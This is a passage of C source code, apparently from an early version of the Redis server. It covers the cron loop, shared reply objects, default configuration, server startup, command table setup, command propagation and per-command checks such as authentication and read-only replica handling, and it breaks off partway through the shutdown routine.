wait3(&statloc,WNOHANG,NULL)) != 0) {\n            int exitcode = WEXITSTATUS(statloc);\n            int bysignal = 0;\n            \n            if (WIFSIGNALED(statloc)) bysignal = WTERMSIG(statloc);\n\n            if (pid == server.rdb_child_pid) {\n                backgroundSaveDoneHandler(exitcode,bysignal);\n            } else {\n                backgroundRewriteDoneHandler(exitcode,bysignal);\n            }\n            updateDictResizePolicy();\n        }\n    } else {\n        /* If there is not a background saving/rewrite in progress check if\n         * we have to save/rewrite now */\n         for (j = 0; j < server.saveparamslen; j++) {\n            struct saveparam *sp = server.saveparams+j;\n\n            if (server.dirty >= sp->changes &&\n                server.unixtime-server.lastsave > sp->seconds) {\n                redisLog(REDIS_NOTICE,\"%d changes in %d seconds. Saving...\",\n                    sp->changes, sp->seconds);\n                rdbSaveBackground(server.rdb_filename);\n                break;\n            }\n         }\n\n         /* Trigger an AOF rewrite if needed */\n         if (server.rdb_child_pid == -1 &&\n             server.aof_child_pid == -1 &&\n             server.aof_rewrite_perc &&\n             server.aof_current_size > server.aof_rewrite_min_size)\n         {\n            long long base = server.aof_rewrite_base_size ?\n                            server.aof_rewrite_base_size : 1;\n            long long growth = (server.aof_current_size*100/base) - 100;\n            if (growth >= server.aof_rewrite_perc) {\n                redisLog(REDIS_NOTICE,\"Starting automatic rewriting of AOF on %lld%% growth\",growth);\n                rewriteAppendOnlyFileBackground();\n            }\n         }\n    }\n\n\n    /* If we postponed an AOF buffer flush, let's try to do it every time the\n     * cron function is called. */\n    if (server.aof_flush_postponed_start) flushAppendOnlyFile(0);\n\n    /* Expire a few keys per cycle, only if this is a master.\n     * On slaves we wait for DEL operations synthesized by the master\n     * in order to guarantee a strict consistency. */\n    if (server.masterhost == NULL) activeExpireCycle();\n\n    /* Close clients that need to be closed asynchronous */\n    freeClientsInAsyncFreeQueue();\n\n    /* Replication cron function -- used to reconnect to master and\n     * to detect transfer failures. */\n    run_with_period(1000) replicationCron();\n\n    /* Run other sub-systems specific cron jobs */\n    run_with_period(1000) {\n        if (server.cluster_enabled) clusterCron();\n    }\n\n    server.cronloops++;\n    return 1000/REDIS_HZ;\n}\n\n/* This function gets called every time Redis is entering the\n * main loop of the event driven library, that is, before to sleep\n * for ready file descriptors. */\nvoid beforeSleep(struct aeEventLoop *eventLoop) {\n    REDIS_NOTUSED(eventLoop);\n    listNode *ln;\n    redisClient *c;\n\n    /* Try to process pending commands for clients that were just unblocked. */\n    while (listLength(server.unblocked_clients)) {\n        ln = listFirst(server.unblocked_clients);\n        redisAssert(ln != NULL);\n        c = ln->value;\n        listDelNode(server.unblocked_clients,ln);\n        c->flags &= ~REDIS_UNBLOCKED;\n\n        /* Process remaining data in the input buffer. */\n        if (c->querybuf && sdslen(c->querybuf) > 0) {\n            server.current_client = c;\n            processInputBuffer(c);\n            server.current_client = NULL;\n        }\n    }\n\n    /* Write the AOF buffer on disk */\n    flushAppendOnlyFile(0);\n}\n\n/* =========================== Server initialization ======================== */\n\nvoid createSharedObjects(void) {\n    int j;\n\n    shared.crlf = createObject(REDIS_STRING,sdsnew(\"\\r\\n\"));\n    shared.ok = createObject(REDIS_STRING,sdsnew(\"+OK\\r\\n\"));\n    shared.err = createObject(REDIS_STRING,sdsnew(\"-ERR\\r\\n\"));\n    shared.emptybulk = createObject(REDIS_STRING,sdsnew(\"$0\\r\\n\\r\\n\"));\n    shared.czero = createObject(REDIS_STRING,sdsnew(\":0\\r\\n\"));\n    shared.cone = createObject(REDIS_STRING,sdsnew(\":1\\r\\n\"));\n    shared.cnegone = createObject(REDIS_STRING,sdsnew(\":-1\\r\\n\"));\n    shared.nullbulk = createObject(REDIS_STRING,sdsnew(\"$-1\\r\\n\"));\n    shared.nullmultibulk = createObject(REDIS_STRING,sdsnew(\"*-1\\r\\n\"));\n    shared.emptymultibulk = createObject(REDIS_STRING,sdsnew(\"*0\\r\\n\"));\n    shared.pong = createObject(REDIS_STRING,sdsnew(\"+PONG\\r\\n\"));\n    shared.queued = createObject(REDIS_STRING,sdsnew(\"+QUEUED\\r\\n\"));\n    shared.wrongtypeerr = createObject(REDIS_STRING,sdsnew(\n        \"-ERR Operation against a key holding the wrong kind of value\\r\\n\"));\n    shared.nokeyerr = createObject(REDIS_STRING,sdsnew(\n        \"-ERR no such key\\r\\n\"));\n    shared.syntaxerr = createObject(REDIS_STRING,sdsnew(\n        \"-ERR syntax error\\r\\n\"));\n    shared.sameobjecterr = createObject(REDIS_STRING,sdsnew(\n        \"-ERR source and destination objects are the same\\r\\n\"));\n    shared.outofrangeerr = createObject(REDIS_STRING,sdsnew(\n        \"-ERR index out of range\\r\\n\"));\n    shared.noscripterr = createObject(REDIS_STRING,sdsnew(\n        \"-NOSCRIPT No matching script. Please use EVAL.\\r\\n\"));\n    shared.loadingerr = createObject(REDIS_STRING,sdsnew(\n        \"-LOADING Redis is loading the dataset in memory\\r\\n\"));\n    shared.slowscripterr = createObject(REDIS_STRING,sdsnew(\n        \"-BUSY Redis is busy running a script. You can only call SCRIPT KILL or SHUTDOWN NOSAVE.\\r\\n\"));\n    shared.masterdownerr = createObject(REDIS_STRING,sdsnew(\n        \"-MASTERDOWN Link with MASTER is down and slave-serve-stale-data is set to 'no'.\\r\\n\"));\n    shared.bgsaveerr = createObject(REDIS_STRING,sdsnew(\n        \"-MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.\\r\\n\"));\n    shared.roslaveerr = createObject(REDIS_STRING,sdsnew(\n        \"-READONLY You can't write against a read only slave.\\r\\n\"));\n    shared.oomerr = createObject(REDIS_STRING,sdsnew(\n        \"-OOM command not allowed when used memory > 'maxmemory'.\\r\\n\"));\n    shared.space = createObject(REDIS_STRING,sdsnew(\" \"));\n    shared.colon = createObject(REDIS_STRING,sdsnew(\":\"));\n    shared.plus = createObject(REDIS_STRING,sdsnew(\"+\"));\n\n    for (j = 0; j < REDIS_SHARED_SELECT_CMDS; j++) {\n        shared.select[j] = createObject(REDIS_STRING,\n            sdscatprintf(sdsempty(),\"select %d\\r\\n\", j));\n    }\n    shared.messagebulk = createStringObject(\"$7\\r\\nmessage\\r\\n\",13);\n    shared.pmessagebulk = createStringObject(\"$8\\r\\npmessage\\r\\n\",14);\n    shared.subscribebulk = createStringObject(\"$9\\r\\nsubscribe\\r\\n\",15);\n    shared.unsubscribebulk = createStringObject(\"$11\\r\\nunsubscribe\\r\\n\",18);\n    shared.psubscribebulk = createStringObject(\"$10\\r\\npsubscribe\\r\\n\",17);\n    shared.punsubscribebulk = createStringObject(\"$12\\r\\npunsubscribe\\r\\n\",19);\n    shared.del = createStringObject(\"DEL\",3);\n    shared.rpop = createStringObject(\"RPOP\",4);\n    shared.lpop = createStringObject(\"LPOP\",4);\n    for (j = 0; j < REDIS_SHARED_INTEGERS; j++) {\n        shared.integers[j] = createObject(REDIS_STRING,(void*)(long)j);\n        shared.integers[j]->encoding = REDIS_ENCODING_INT;\n    }\n    for (j = 0; j < REDIS_SHARED_BULKHDR_LEN; j++) {\n        shared.mbulkhdr[j] = createObject(REDIS_STRING,\n            sdscatprintf(sdsempty(),\"*%d\\r\\n\",j));\n        shared.bulkhdr[j] = createObject(REDIS_STRING,\n            sdscatprintf(sdsempty(),\"$%d\\r\\n\",j));\n    }\n}\n\nvoid initServerConfig() {\n    getRandomHexChars(server.runid,REDIS_RUN_ID_SIZE);\n    server.runid[REDIS_RUN_ID_SIZE] = '\\0';\n    server.arch_bits = (sizeof(long) == 8) ? 64 : 32;\n    server.port = REDIS_SERVERPORT;\n    server.bindaddr = NULL;\n    server.unixsocket = NULL;\n    server.unixsocketperm = 0;\n    server.ipfd = -1;\n    server.sofd = -1;\n    server.dbnum = REDIS_DEFAULT_DBNUM;\n    server.verbosity = REDIS_NOTICE;\n    server.maxidletime = REDIS_MAXIDLETIME;\n    server.client_max_querybuf_len = REDIS_MAX_QUERYBUF_LEN;\n    server.saveparams = NULL;\n    server.loading = 0;\n    server.logfile = NULL; /* NULL = log on standard output */\n    server.syslog_enabled = 0;\n    server.syslog_ident = zstrdup(\"redis\");\n    server.syslog_facility = LOG_LOCAL0;\n    server.daemonize = 0;\n    server.aof_state = REDIS_AOF_OFF;\n    server.aof_fsync = AOF_FSYNC_EVERYSEC;\n    server.aof_no_fsync_on_rewrite = 0;\n    server.aof_rewrite_perc = REDIS_AOF_REWRITE_PERC;\n    server.aof_rewrite_min_size = REDIS_AOF_REWRITE_MIN_SIZE;\n    server.aof_rewrite_base_size = 0;\n    server.aof_rewrite_scheduled = 0;\n    server.aof_last_fsync = time(NULL);\n    server.aof_rewrite_time_last = -1;\n    server.aof_rewrite_time_start = -1;\n    server.aof_delayed_fsync = 0;\n    server.aof_fd = -1;\n    server.aof_selected_db = -1; /* Make sure the first time will not match */\n    server.aof_flush_postponed_start = 0;\n    server.pidfile = zstrdup(\"/var/run/redis.pid\");\n    server.rdb_filename = zstrdup(\"dump.rdb\");\n    server.aof_filename = zstrdup(\"appendonly.aof\");\n    server.requirepass = NULL;\n    server.rdb_compression = 1;\n    server.rdb_checksum = 1;\n    server.activerehashing = 1;\n    server.maxclients = REDIS_MAX_CLIENTS;\n    server.bpop_blocked_clients = 0;\n    server.maxmemory = 0;\n    server.maxmemory_policy = REDIS_MAXMEMORY_VOLATILE_LRU;\n    server.maxmemory_samples = 3;\n    server.hash_max_ziplist_entries = REDIS_HASH_MAX_ZIPLIST_ENTRIES;\n    server.hash_max_ziplist_value = REDIS_HASH_MAX_ZIPLIST_VALUE;\n    server.list_max_ziplist_entries = REDIS_LIST_MAX_ZIPLIST_ENTRIES;\n    server.list_max_ziplist_value = REDIS_LIST_MAX_ZIPLIST_VALUE;\n    server.set_max_intset_entries = REDIS_SET_MAX_INTSET_ENTRIES;\n    server.zset_max_ziplist_entries = REDIS_ZSET_MAX_ZIPLIST_ENTRIES;\n    server.zset_max_ziplist_value = REDIS_ZSET_MAX_ZIPLIST_VALUE;\n    server.shutdown_asap = 0;\n    server.repl_ping_slave_period = REDIS_REPL_PING_SLAVE_PERIOD;\n    server.repl_timeout = REDIS_REPL_TIMEOUT;\n    server.cluster_enabled = 0;\n    server.cluster.configfile = zstrdup(\"nodes.conf\");\n    server.lua_caller = NULL;\n    server.lua_time_limit = REDIS_LUA_TIME_LIMIT;\n    server.lua_client = NULL;\n    server.lua_timedout = 0;\n\n    updateLRUClock();\n    resetServerSaveParams();\n\n    appendServerSaveParams(60*60,1);  /* save after 1 hour and 1 change */\n    appendServerSaveParams(300,100);  /* save after 5 minutes and 100 changes */\n    appendServerSaveParams(60,10000); /* save after 1 minute and 10000 changes */\n    /* Replication related */\n    server.masterauth = NULL;\n    server.masterhost = NULL;\n    server.masterport = 6379;\n    server.master = NULL;\n    server.repl_state = REDIS_REPL_NONE;\n    server.repl_syncio_timeout = REDIS_REPL_SYNCIO_TIMEOUT;\n    server.repl_serve_stale_data = 1;\n    server.repl_slave_ro = 1;\n    server.repl_down_since = time(NULL);\n\n    /* Client output buffer limits */\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_NORMAL].hard_limit_bytes = 0;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_NORMAL].soft_limit_bytes = 0;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_NORMAL].soft_limit_seconds = 0;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_SLAVE].hard_limit_bytes = 1024*1024*256;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_SLAVE].soft_limit_bytes = 1024*1024*64;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_SLAVE].soft_limit_seconds = 60;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_PUBSUB].hard_limit_bytes = 1024*1024*32;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_PUBSUB].soft_limit_bytes = 1024*1024*8;\n    server.client_obuf_limits[REDIS_CLIENT_LIMIT_CLASS_PUBSUB].soft_limit_seconds = 60;\n\n    /* Double constants initialization */\n    R_Zero = 0.0;\n    R_PosInf = 1.0/R_Zero;\n    R_NegInf = -1.0/R_Zero;\n    R_Nan = R_Zero/R_Zero;\n\n    /* Command table -- we intiialize it here as it is part of the\n     * initial configuration, since command names may be changed via\n     * redis.conf using the rename-command directive. */\n    server.commands = dictCreate(&commandTableDictType,NULL);\n    populateCommandTable();\n    server.delCommand = lookupCommandByCString(\"del\");\n    server.multiCommand = lookupCommandByCString(\"multi\");\n    server.lpushCommand = lookupCommandByCString(\"lpush\");\n    \n    /* Slow log */\n    server.slowlog_log_slower_than = REDIS_SLOWLOG_LOG_SLOWER_THAN;\n    server.slowlog_max_len = REDIS_SLOWLOG_MAX_LEN;\n\n    /* Debugging */\n    server.assert_failed = \"<no assertion failed>\";\n    server.assert_file = \"<no file>\";\n    server.assert_line = 0;\n    server.bug_report_start = 0;\n    server.watchdog_period = 0;\n}\n\n/* This function will try to raise the max number of open files accordingly to\n * the configured max number of clients. It will also account for 32 additional\n * file descriptors as we need a few more for persistence, listening\n * sockets, log files and so forth.\n *\n * If it will not be possible to set the limit accordingly to the configured\n * max number of clients, the function will do the reverse setting\n * server.maxclients to the value that we can actually handle. */\nvoid adjustOpenFilesLimit(void) {\n    rlim_t maxfiles = server.maxclients+32;\n    struct rlimit limit;\n\n    if (getrlimit(RLIMIT_NOFILE,&limit) == -1) {\n        redisLog(REDIS_WARNING,\"Unable to obtain the current NOFILE limit (%s), assuming 1024 and setting the max clients configuration accordingly.\",\n            strerror(errno));\n        server.maxclients = 1024-32;\n    } else {\n        rlim_t oldlimit = limit.rlim_cur;\n\n        /* Set the max number of files if the current limit is not enough\n         * for our needs. */\n        if (oldlimit < maxfiles) {\n            rlim_t f;\n            \n            f = maxfiles;\n            while(f > oldlimit) {\n                limit.rlim_cur = f;\n                limit.rlim_max = f;\n                if (setrlimit(RLIMIT_NOFILE,&limit) != -1) break;\n                f -= 128;\n            }\n            if (f < oldlimit) f = oldlimit;\n            if (f != maxfiles) {\n                server.maxclients = f-32;\n                redisLog(REDIS_WARNING,\"Unable to set the max number of files limit to %d (%s), setting the max clients configuration to %d.\",\n                    (int) maxfiles, strerror(errno), (int) server.maxclients);\n            } else {\n                redisLog(REDIS_NOTICE,\"Max number of open files set to %d\",\n                    (int) maxfiles);\n            }\n        }\n    }\n}\n\nvoid initServer() {\n    int j;\n\n    signal(SIGHUP, SIG_IGN);\n    signal(SIGPIPE, SIG_IGN);\n    setupSignalHandlers();\n\n    if (server.syslog_enabled) {\n        openlog(server.syslog_ident, LOG_PID | LOG_NDELAY | LOG_NOWAIT,\n            server.syslog_facility);\n    }\n\n    server.current_client = NULL;\n    server.clients = listCreate();\n    server.clients_to_close = listCreate();\n    server.slaves = listCreate();\n    server.monitors = listCreate();\n    server.unblocked_clients = listCreate();\n\n    createSharedObjects();\n    adjustOpenFilesLimit();\n    server.el = aeCreateEventLoop(server.maxclients+1024);\n    server.db = zmalloc(sizeof(redisDb)*server.dbnum);\n\n    if (server.port != 0) {\n        server.ipfd = anetTcpServer(server.neterr,server.port,server.bindaddr);\n        if (server.ipfd == ANET_ERR) {\n            redisLog(REDIS_WARNING, \"Opening port %d: %s\",\n                server.port, server.neterr);\n            exit(1);\n        }\n    }\n    if (server.unixsocket != NULL) {\n        unlink(server.unixsocket); /* don't care if this fails */\n        server.sofd = anetUnixServer(server.neterr,server.unixsocket,server.unixsocketperm);\n        if (server.sofd == ANET_ERR) {\n            redisLog(REDIS_WARNING, \"Opening socket: %s\", server.neterr);\n            exit(1);\n        }\n    }\n    if (server.ipfd < 0 && server.sofd < 0) {\n        redisLog(REDIS_WARNING, \"Configured to not listen anywhere, exiting.\");\n        exit(1);\n    }\n    for (j = 0; j < server.dbnum; j++) {\n        server.db[j].dict = dictCreate(&dbDictType,NULL);\n        server.db[j].expires = dictCreate(&keyptrDictType,NULL);\n        server.db[j].blocking_keys = dictCreate(&keylistDictType,NULL);\n        server.db[j].watched_keys = dictCreate(&keylistDictType,NULL);\n        server.db[j].id = j;\n    }\n    server.pubsub_channels = dictCreate(&keylistDictType,NULL);\n    server.pubsub_patterns = listCreate();\n    listSetFreeMethod(server.pubsub_patterns,freePubsubPattern);\n    listSetMatchMethod(server.pubsub_patterns,listMatchPubsubPattern);\n    server.cronloops = 0;\n    server.rdb_child_pid = -1;\n    server.aof_child_pid = -1;\n    aofRewriteBufferReset();\n    server.aof_buf = sdsempty();\n    server.lastsave = time(NULL);\n    server.rdb_save_time_last = -1;\n    server.rdb_save_time_start = -1;\n    server.dirty = 0;\n    server.stat_numcommands = 0;\n    server.stat_numconnections = 0;\n    server.stat_expiredkeys = 0;\n    server.stat_evictedkeys = 0;\n    server.stat_starttime = time(NULL);\n    server.stat_keyspace_misses = 0;\n    server.stat_keyspace_hits = 0;\n    server.stat_peak_memory = 0;\n    server.stat_fork_time = 0;\n    server.stat_rejected_conn = 0;\n    memset(server.ops_sec_samples,0,sizeof(server.ops_sec_samples));\n    server.ops_sec_idx = 0;\n    server.ops_sec_last_sample_time = mstime();\n    server.ops_sec_last_sample_ops = 0;\n    server.unixtime = time(NULL);\n    server.lastbgsave_status = REDIS_OK;\n    server.stop_writes_on_bgsave_err = 1;\n    aeCreateTimeEvent(server.el, 1, serverCron, NULL, NULL);\n    if (server.ipfd > 0 && aeCreateFileEvent(server.el,server.ipfd,AE_READABLE,\n        acceptTcpHandler,NULL) == AE_ERR) oom(\"creating file event\");\n    if (server.sofd > 0 && aeCreateFileEvent(server.el,server.sofd,AE_READABLE,\n        acceptUnixHandler,NULL) == AE_ERR) oom(\"creating file event\");\n\n    if (server.aof_state == REDIS_AOF_ON) {\n        server.aof_fd = open(server.aof_filename,\n                               O_WRONLY|O_APPEND|O_CREAT,0644);\n        if (server.aof_fd == -1) {\n            redisLog(REDIS_WARNING, \"Can't open the append-only file: %s\",\n                strerror(errno));\n            exit(1);\n        }\n    }\n\n    /* 32 bit instances are limited to 4GB of address space, so if there is\n     * no explicit limit in the user provided configuration we set a limit\n     * at 3.5GB using maxmemory with 'noeviction' policy'. This saves\n     * useless crashes of the Redis instance. */\n    if (server.arch_bits == 32 && server.maxmemory == 0) {\n        redisLog(REDIS_WARNING,\"Warning: 32 bit instance detected but no memory limit set. Setting 3.5 GB maxmemory limit with 'noeviction' policy now.\");\n        server.maxmemory = 3584LL*(1024*1024); /* 3584 MB = 3.5 GB */\n        server.maxmemory_policy = REDIS_MAXMEMORY_NO_EVICTION;\n    }\n\n    if (server.cluster_enabled) clusterInit();\n    scriptingInit();\n    slowlogInit();\n    bioInit();\n}\n\n/* Populates the Redis Command Table starting from the hard coded list\n * we have on top of redis.c file. */\nvoid populateCommandTable(void) {\n    int j;\n    int numcommands = sizeof(redisCommandTable)/sizeof(struct redisCommand);\n\n    for (j = 0; j < numcommands; j++) {\n        struct redisCommand *c = redisCommandTable+j;\n        char *f = c->sflags;\n        int retval;\n\n        while(*f != '\\0') {\n            switch(*f) {\n            case 'w': c->flags |= REDIS_CMD_WRITE; break;\n            case 'r': c->flags |= REDIS_CMD_READONLY; break;\n            case 'm': c->flags |= REDIS_CMD_DENYOOM; break;\n            case 'a': c->flags |= REDIS_CMD_ADMIN; break;\n            case 'p': c->flags |= REDIS_CMD_PUBSUB; break;\n            case 'f': c->flags |= REDIS_CMD_FORCE_REPLICATION; break;\n            case 's': c->flags |= REDIS_CMD_NOSCRIPT; break;\n            case 'R': c->flags |= REDIS_CMD_RANDOM; break;\n            case 'S': c->flags |= REDIS_CMD_SORT_FOR_SCRIPT; break;\n            default: redisPanic(\"Unsupported command flag\"); break;\n            }\n            f++;\n        }\n\n        retval = dictAdd(server.commands, sdsnew(c->name), c);\n        assert(retval == DICT_OK);\n    }\n}\n\nvoid resetCommandTableStats(void) {\n    int numcommands = sizeof(redisCommandTable)/sizeof(struct redisCommand);\n    int j;\n\n    for (j = 0; j < numcommands; j++) {\n        struct redisCommand *c = redisCommandTable+j;\n\n        c->microseconds = 0;\n        c->calls = 0;\n    }\n}\n\n/* ========================== Redis OP Array API ============================ */\n\nvoid redisOpArrayInit(redisOpArray *oa) {\n    oa->ops = NULL;\n    oa->numops = 0;\n}\n\nint redisOpArrayAppend(redisOpArray *oa, struct redisCommand *cmd, int dbid,\n                       robj **argv, int argc, int target)\n{\n    redisOp *op;\n\n    oa->ops = zrealloc(oa->ops,sizeof(redisOp)*(oa->numops+1));\n    op = oa->ops+oa->numops;\n    op->cmd = cmd;\n    op->dbid = dbid;\n    op->argv = argv;\n    op->argc = argc;\n    op->target = target;\n    oa->numops++;\n    return oa->numops;\n}\n\nvoid redisOpArrayFree(redisOpArray *oa) {\n    while(oa->numops) {\n        int j;\n        redisOp *op;\n\n        oa->numops--;\n        op = oa->ops+oa->numops;\n        for (j = 0; j < op->argc; j++)\n            decrRefCount(op->argv[j]);\n        zfree(op->argv);\n    }\n    zfree(oa->ops);\n}\n\n/* ====================== Commands lookup and execution ===================== */\n\nstruct redisCommand *lookupCommand(sds name) {\n    return dictFetchValue(server.commands, name);\n}\n\nstruct redisCommand *lookupCommandByCString(char *s) {\n    struct redisCommand *cmd;\n    sds name = sdsnew(s);\n\n    cmd = dictFetchValue(server.commands, name);\n    sdsfree(name);\n    return cmd;\n}\n\n/* Propagate the specified command (in the context of the specified database id)\n * to AOF, Slaves and Monitors.\n *\n * flags are an xor between:\n * + REDIS_PROPAGATE_NONE (no propagation of command at all)\n * + REDIS_PROPAGATE_AOF (propagate into the AOF file if is enabled)\n * + REDIS_PROPAGATE_REPL (propagate into the replication link)\n */\nvoid propagate(struct redisCommand *cmd, int dbid, robj **argv, int argc,\n               int flags)\n{\n    if (server.aof_state != REDIS_AOF_OFF && flags & REDIS_PROPAGATE_AOF)\n        feedAppendOnlyFile(cmd,dbid,argv,argc);\n    if (flags & REDIS_PROPAGATE_REPL && listLength(server.slaves))\n        replicationFeedSlaves(server.slaves,dbid,argv,argc);\n}\n\n/* Used inside commands to schedule the propagation of additional commands\n * after the current command is propagated to AOF / Replication. */\nvoid alsoPropagate(struct redisCommand *cmd, int dbid, robj **argv, int argc,\n                   int target)\n{\n    redisOpArrayAppend(&server.also_propagate,cmd,dbid,argv,argc,target);\n}\n\n/* Call() is the core of Redis execution of a command */\nvoid call(redisClient *c, int flags) {\n    long long dirty, start = ustime(), duration;\n\n    /* Sent the command to clients in MONITOR mode, only if the commands are\n     * not geneated from reading an AOF. */\n    if (listLength(server.monitors) && !server.loading)\n        replicationFeedMonitors(c,server.monitors,c->db->id,c->argv,c->argc);\n\n    /* Call the command. */\n    redisOpArrayInit(&server.also_propagate);\n    dirty = server.dirty;\n    c->cmd->proc(c);\n    dirty = server.dirty-dirty;\n    duration = ustime()-start;\n\n    /* When EVAL is called loading the AOF we don't want commands called\n     * from Lua to go into the slowlog or to populate statistics. */\n    if (server.loading && c->flags & REDIS_LUA_CLIENT)\n        flags &= ~(REDIS_CALL_SLOWLOG | REDIS_CALL_STATS);\n\n    /* Log the command into the Slow log if needed, and populate the\n     * per-command statistics that we show in INFO commandstats. */\n    if (flags & REDIS_CALL_SLOWLOG)\n        slowlogPushEntryIfNeeded(c->argv,c->argc,duration);\n    if (flags & REDIS_CALL_STATS) {\n        c->cmd->microseconds += duration;\n        c->cmd->calls++;\n    }\n\n    /* Propagate the command into the AOF and replication link */\n    if (flags & REDIS_CALL_PROPAGATE) {\n        int flags = REDIS_PROPAGATE_NONE;\n\n        if (c->cmd->flags & REDIS_CMD_FORCE_REPLICATION)\n            flags |= REDIS_PROPAGATE_REPL;\n        if (dirty)\n            flags |= (REDIS_PROPAGATE_REPL | REDIS_PROPAGATE_AOF);\n        if (flags != REDIS_PROPAGATE_NONE)\n            propagate(c->cmd,c->db->id,c->argv,c->argc,flags);\n    }\n    /* Commands such as LPUSH or BRPOPLPUSH may propagate an additional\n     * PUSH command. */\n    if (server.also_propagate.numops) {\n        int j;\n        redisOp *rop;\n\n        for (j = 0; j < server.also_propagate.numops; j++) {\n            rop = &server.also_propagate.ops[j];\n            propagate(rop->cmd, rop->dbid, rop->argv, rop->argc, rop->target);\n        }\n        redisOpArrayFree(&server.also_propagate);\n    }\n    server.stat_numcommands++;\n}\n\n/* If this function gets called we already read a whole\n * command, argments are in the client argv/argc fields.\n * processCommand() execute the command or prepare the\n * server for a bulk read from the client.\n *\n * If 1 is returned the client is still alive and valid and\n * and other operations can be performed by the caller. Otherwise\n * if 0 is returned the client was destroied (i.e. after QUIT). */\nint processCommand(redisClient *c) {\n    /* The QUIT command is handled separately. Normal command procs will\n     * go through checking for replication and QUIT will cause trouble\n     * when FORCE_REPLICATION is enabled and would be implemented in\n     * a regular command proc. */\n    if (!strcasecmp(c->argv[0]->ptr,\"quit\")) {\n        addReply(c,shared.ok);\n        c->flags |= REDIS_CLOSE_AFTER_REPLY;\n        return REDIS_ERR;\n    }\n\n    /* Now lookup the command and check ASAP about trivial error conditions\n     * such as wrong arity, bad command name and so forth. */\n    c->cmd = c->lastcmd = lookupCommand(c->argv[0]->ptr);\n    if (!c->cmd) {\n        addReplyErrorFormat(c,\"unknown command '%s'\",\n            (char*)c->argv[0]->ptr);\n        return REDIS_OK;\n    } else if ((c->cmd->arity > 0 && c->cmd->arity != c->argc) ||\n               (c->argc < -c->cmd->arity)) {\n        addReplyErrorFormat(c,\"wrong number of arguments for '%s' command\",\n            c->cmd->name);\n        return REDIS_OK;\n    }\n\n    /* Check if the user is authenticated */\n    if (server.requirepass && !c->authenticated && c->cmd->proc != authCommand)\n    {\n        addReplyError(c,\"operation not permitted\");\n        return REDIS_OK;\n    }\n\n    /* If cluster is enabled, redirect here */\n    if (server.cluster_enabled &&\n                !(c->cmd->getkeys_proc == NULL && c->cmd->firstkey == 0)) {\n        int hashslot;\n\n        if (server.cluster.state != REDIS_CLUSTER_OK) {\n            addReplyError(c,\"The cluster is down. Check with CLUSTER INFO for more information\");\n            return REDIS_OK;\n        } else {\n            int ask;\n            clusterNode *n = getNodeByQuery(c,c->cmd,c->argv,c->argc,&hashslot,&ask);\n            if (n == NULL) {\n                addReplyError(c,\"Multi keys request invalid in cluster\");\n                return REDIS_OK;\n            } else if (n != server.cluster.myself) {\n                addReplySds(c,sdscatprintf(sdsempty(),\n                    \"-%s %d %s:%d\\r\\n\", ask ? \"ASK\" : \"MOVED\",\n                    hashslot,n->ip,n->port));\n                return REDIS_OK;\n            }\n        }\n    }\n\n    /* Handle the maxmemory directive.\n     *\n     * First we try to free some memory if possible (if there are volatile\n     * keys in the dataset). If there are not the only thing we can do\n     * is returning an error. */\n    if (server.maxmemory) {\n        int retval = freeMemoryIfNeeded();\n        if ((c->cmd->flags & REDIS_CMD_DENYOOM) && retval == REDIS_ERR) {\n            addReply(c, shared.oomerr);\n            return REDIS_OK;\n        }\n    }\n\n    /* Don't accept write commands if there are problems persisting on disk. */\n    if (server.stop_writes_on_bgsave_err &&\n        server.saveparamslen > 0\n        && server.lastbgsave_status == REDIS_ERR &&\n        c->cmd->flags & REDIS_CMD_WRITE)\n    {\n        addReply(c, shared.bgsaveerr);\n        return REDIS_OK;\n    }\n\n    /* Don't accept wirte commands if this is a read only slave. But\n     * accept write commands if this is our master. */\n    if (server.masterhost && server.repl_slave_ro &&\n        !(c->flags & REDIS_MASTER) &&\n        c->cmd->flags & REDIS_CMD_WRITE)\n    {\n        addReply(c, shared.roslaveerr);\n        return REDIS_OK;\n    }\n\n    /* Only allow SUBSCRIBE and UNSUBSCRIBE in the context of Pub/Sub */\n    if ((dictSize(c->pubsub_channels) > 0 || listLength(c->pubsub_patterns) > 0)\n        &&\n        c->cmd->proc != subscribeCommand &&\n        c->cmd->proc != unsubscribeCommand &&\n        c->cmd->proc != psubscribeCommand &&\n        c->cmd->proc != punsubscribeCommand) {\n        addReplyError(c,\"only (P)SUBSCRIBE / (P)UNSUBSCRIBE / QUIT allowed in this context\");\n        return REDIS_OK;\n    }\n\n    /* Only allow INFO and SLAVEOF when slave-serve-stale-data is no and\n     * we are a slave with a broken link with master. */\n    if (server.masterhost && server.repl_state != REDIS_REPL_CONNECTED &&\n        server.repl_serve_stale_data == 0 &&\n        c->cmd->proc != infoCommand && c->cmd->proc != slaveofCommand)\n    {\n        addReply(c, shared.masterdownerr);\n        return REDIS_OK;\n    }\n\n    /* Loading DB? Return an error if the command is not INFO */\n    if (server.loading && c->cmd->proc != infoCommand) {\n        addReply(c, shared.loadingerr);\n        return REDIS_OK;\n    }\n\n    /* Lua script too slow? Only allow SHUTDOWN NOSAVE and SCRIPT KILL. */\n    if (server.lua_timedout &&\n        !(c->cmd->proc == shutdownCommand &&\n          c->argc == 2 &&\n          tolower(((char*)c->argv[1]->ptr)[0]) == 'n') &&\n        !(c->cmd->proc == scriptCommand &&\n          c->argc == 2 &&\n          tolower(((char*)c->argv[1]->ptr)[0]) == 'k'))\n    {\n        addReply(c, shared.slowscripterr);\n        return REDIS_OK;\n    }\n\n    /* Exec the command */\n    if (c->flags & REDIS_MULTI &&\n        c->cmd->proc != execCommand && c->cmd->proc != discardCommand &&\n        c->cmd->proc != multiCommand && c->cmd->proc != watchCommand)\n    {\n        queueMultiCommand(c);\n        addReply(c,shared.queued);\n    } else {\n        call(c,REDIS_CALL_FULL);\n    }\n    return REDIS_OK;\n}\n\n/*================================== Shutdown =============================== */\n\nint prepareForShutdown(int flags) {\n    int save = flags & REDIS_SHUTDOWN_SAVE;\n    int nosave = flags & REDIS_SHUTDOWN_NOSAVE;\n\n    redisLog(REDIS_WARNING,\"User requested shutdown...\");\n    /* Kill the saving child if there is a background saving in progress.\n       We want to avoid race conditions, for instance our saving child may\n       overwrite the synchronous saving 